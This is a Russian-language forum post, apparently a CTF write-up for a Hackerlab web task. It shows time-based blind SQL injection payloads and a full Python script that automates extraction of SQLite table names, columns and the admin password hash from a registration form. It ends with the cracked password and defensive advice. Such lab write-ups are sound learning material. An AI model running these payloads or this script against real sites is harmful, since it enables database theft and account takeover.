Amarant
Green Team
- 29.01.2025
- 26
- 10

Предисловие
Всем привет, господа форумчане, хочу поделиться своим опытом в решении моего первого таска уровня сложный из категории Web. Речь пойдет о Досье Х на Hackerlab, поэтому присаживайтесь и приятного прочтения
Первичная разведка
Первостепенно конечно же переходим на сайт и делаем базовый осмотр, что там да как, какие есть функции и подмечаем потенциальные точки атаки. На сайте имеется форма регистрации с параметрами логина, пароля и about (о себе), что сразу можно приметить для вектора атаки. Так же есть форма авторизации и сам сайт. Я создал тестового пользователя и зашёл через него


Сразу подмечаем то, что на сайте высвечивается имя юзера, есть генератор рандомных чисел и собственно всё

Негусто, поэтому пробуем идти в атаку и использовать стандартные payload
Стандартные попытки атак
XSS и другие атаки никак не заходили в форму логина и экранировались, как бы я не пытался их ввести

После этого я попытался внедрить стандартные атаки для проверки во вкладку about, но при логине никакого результата они не дали, страница после авторизации была совершенно непреклонна и тут я встрял в тупик. После небольших размышлений, я решил попробовать проверить SQL инъекцию и при попытке ввести в поле about символ ' получил ошибку

Таким образом мои поиски натолкнули меня на слепую инъекцию, с чем я раньше не сталкивался, пошла проверка.
SQL:
'||(SELECT SLEEP(5))||'
SQL:
'||(SELECT pg_sleep(5))||'
SQL:
'||(SELECT randomblob(100000000))||'

Боль, слёзы и отчаяние...
И на этом моменте я встрял уже в монолитный тупик. Извлекать данные и шерстить все таблицы внутри сайта вручную было бы слишком долго и необходимо было написать скрипт для автоматизации процесса, но ранее такого опыта у меня не было. Деваться было некуда, поэтому методом проб и ошибок, через боль и слёзы спустя почти 6 часов у меня получилось это
Python:
import requests
import time
import random
import sys
# Конфигурация
TARGET_URL = "http://62.173.140.174:16068/register"
DELAY_THRESHOLD = 1.0
BLOB_SIZE = 100000000
MAX_TABLES = 10
MAX_COLS = 15
MAX_LEN = 50
CHARS = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz"
# Глобальные счетчики
total_requests = 0
start_time = time.time()
session_counter = int(time.time())
def send_registration(about):
global total_requests
# Генерация уникального имени пользователя
username = f"a{session_counter}_{total_requests}_{random.randint(1000,9999)}"
password = f"p{random.randint(1000000,9999999)}"
boundary = "----WebKitFormBoundaryVBvviyM5jtKyiJRT"
body = (
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="username"\r\n\r\n'
f"{username}\r\n"
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="password"\r\n\r\n'
f"{password}\r\n"
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="about"\r\n\r\n'
f"{about}\r\n"
f"--{boundary}--\r\n"
)
headers = {
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryVBvviyM5jtKyiJRT",
"Content-Length": str(len(body))
}
total_requests += 1
try:
request_start = time.time()
response = requests.post(
TARGET_URL,
headers=headers,
data=body,
timeout=15
)
elapsed = time.time() - request_start
return elapsed if response.status_code == 200 else None
except:
return None
def test_condition(condition):
payload = f"'||(SELECT CASE WHEN {condition} THEN randomblob({BLOB_SIZE}) ELSE '' END)||'"
elapsed = send_registration(payload)
return elapsed and elapsed > DELAY_THRESHOLD
def get_count(query, max_val):
# Бинарный поиск для определения количества
low, high = 0, max_val
while low <= high:
mid = (low + high) // 2
if test_condition(f"{query} >= {mid}"):
low = mid + 1
else:
high = mid - 1
return high
def get_char(query, pos):
# Проверяем наиболее вероятные символы в первую очередь
for char in "aeiouytsrnhdlcumwfgpbvkxjqz_AEIOUYTSRNHDLCUMWFGPBVKXJQZ0123456789":
if test_condition(f"SUBSTR(({query}),{pos},1)='{char}'"):
return char
# Если не нашли, проверяем остальные символы
for char in CHARS:
if test_condition(f"SUBSTR(({query}),{pos},1)='{char}'"):
return char
return '?'
def get_value(query, desc=""):
# Определение длины
length = get_count(f"LENGTH(({query}))", MAX_LEN)
if length <= 0:
return ""
# Извлечение значения
value = []
for pos in range(1, length + 1):
char = get_char(query, pos)
value.append(char)
# Выводим прогресс для длинных значений
if desc and pos % 5 == 0:
current = ''.join(value)
print(f" {desc}: {current}...")
result = ''.join(value)
if desc:
print(f" {desc}: {result}")
return result
def get_tables():
# Проверка существования таблиц
print("Ищу таблицы в базе данных...")
if not test_condition("(SELECT COUNT(*) FROM sqlite_master WHERE type='table') > 0"):
return []
count = get_count("(SELECT COUNT(*) FROM sqlite_master WHERE type='table')", MAX_TABLES)
tables = []
for i in range(count):
table = get_value(f"(SELECT tbl_name FROM sqlite_master WHERE type='table' LIMIT 1 OFFSET {i})", f"Таблица {i+1}")
if table and table != "sqlite_sequence":
tables.append(table)
print(f"Найдена таблица: {table}")
return tables
def get_columns(table):
# Проверка существования таблицы
print(f"Ищу столбцы в таблице {table}...")
if not test_condition(f"(SELECT COUNT(*) FROM sqlite_master WHERE type='table' AND tbl_name='{table}') > 0"):
return []
count = get_count(f"(SELECT COUNT(*) FROM pragma_table_info('{table}'))", MAX_COLS)
columns = []
for i in range(count):
col = get_value(f"(SELECT name FROM pragma_table_info('{table}') LIMIT 1 OFFSET {i})", f"Столбец {i+1}")
if col:
columns.append(col)
print(f"Найден столбец: {col}")
return columns
def find_admin_data(table, columns):
# Поиск столбца с username
user_col = None
for col in columns:
if 'user' in col.lower() or 'name' in col.lower() or 'login' in col.lower():
user_col = col
break
if not user_col:
print("Не найден столбец с именем пользователя")
return None
# Проверка существования admin
print("Проверяю существование пользователя admin...")
if not test_condition(f"EXISTS(SELECT 1 FROM {table} WHERE {user_col}='admin')"):
print("Пользователь admin не найден")
return None
# Извлечение данных
print(f"Извлекаю данные администратора из таблицы {table}:")
admin_data = {}
for col in columns:
value = get_value(f"(SELECT {col} FROM {table} WHERE {user_col}='admin' LIMIT 1)", f"{col}")
admin_data[col] = value
return admin_data
def main():
# Базовая проверка инъекции
print("Проверяю SQL-инъекцию...")
if not test_condition("1=1"):
print("SQL-инъекция не работает")
return
# Находим все таблицы
tables = get_tables()
if not tables:
print("Таблицы не найдены")
return
print("\nВсе найденные таблицы:")
for i, table in enumerate(tables):
print(f"{i+1}) {table}")
# Ищем данные admin
print("\nИщу данные администратора...")
admin_found = False
for table in tables:
if table.lower() in ["sqlite_master", "sqlite_sequence"]:
continue
print(f"\nАнализирую таблицу: {table}")
columns = get_columns(table)
if not columns:
print("В таблице нет столбцов")
continue
admin_data = find_admin_data(table, columns)
if admin_data:
print("\nДанные администратора:")
for col, value in admin_data.items():
print(f"{col}: {value}")
admin_found = True
break
if not admin_found:
print("Данные администратора не найдены")
# Статистика
elapsed = time.time() - start_time
print(f"\nГотово! Запросов: {total_requests}, Время: {elapsed:.1f} сек")
if __name__ == "__main__":
main()
Да простят меня все программисты...
По мере теста менее удачных версий данного скрипта я выяснил, что есть таблица users, в ней есть username, password и about, а так же пользователь admin и пошёл процесс извлечения пароля и about
И вот, я получаю извлеченный password и строку в about "I love cats..."

Но как ни странно, пароль 11ec9b3bbea01Jcc59be4574284de206 не подошёл, это оказался лишь хэш. Поставив на отработку hashcat я пошёл пробовать вручную его раскодировать на cyber chef и на декодер MD5 хэшей
Шеф, что было ожидаемо ничего не дал

Но вот MD5 decrypt смог его расхэшировать

Пробуем зайти под пользователем admin и с паролем surside13 и вуаля!

Вот и наш флаг
Выводы:

Слепая SQL-инъекция (Blind SQL Injection) в поле «О себе» при регистрации. Сервер не проверял и не экранировал пользовательский ввод, что позволяло вставлять произвольный SQL-код в запрос. Из-за отсутствия ошибок на странице данные извлекались через анализ времени ответа сервера.

- Использовать prepared statements (параметризованные запросы). Это главное правило.
- Проводить строгую валидацию входных данных (например, разрешать только текст, запрещая спецсимволы).

Таск показал, что даже второстепенные поля (типа «О себе») могут стать вектором для атаки. Важно всегда обрабатывать пользовательский ввод, даже если он кажется безопасным. SQLite — не самая популярная БД для веба, но её особенности (вроде randomblob()) нужно знать для успешного решения CTF-задач. Спасибо хакерлабу за этот интересный опыт, очень рад тому, что мне дался мой первый тяжёлый таск

Господа форумчане, принимаю любую конструктивную критику и вопросы, буду рад понять свои ошибки, особенно насчёт моего скрипта или подискутировать
Последнее редактирование: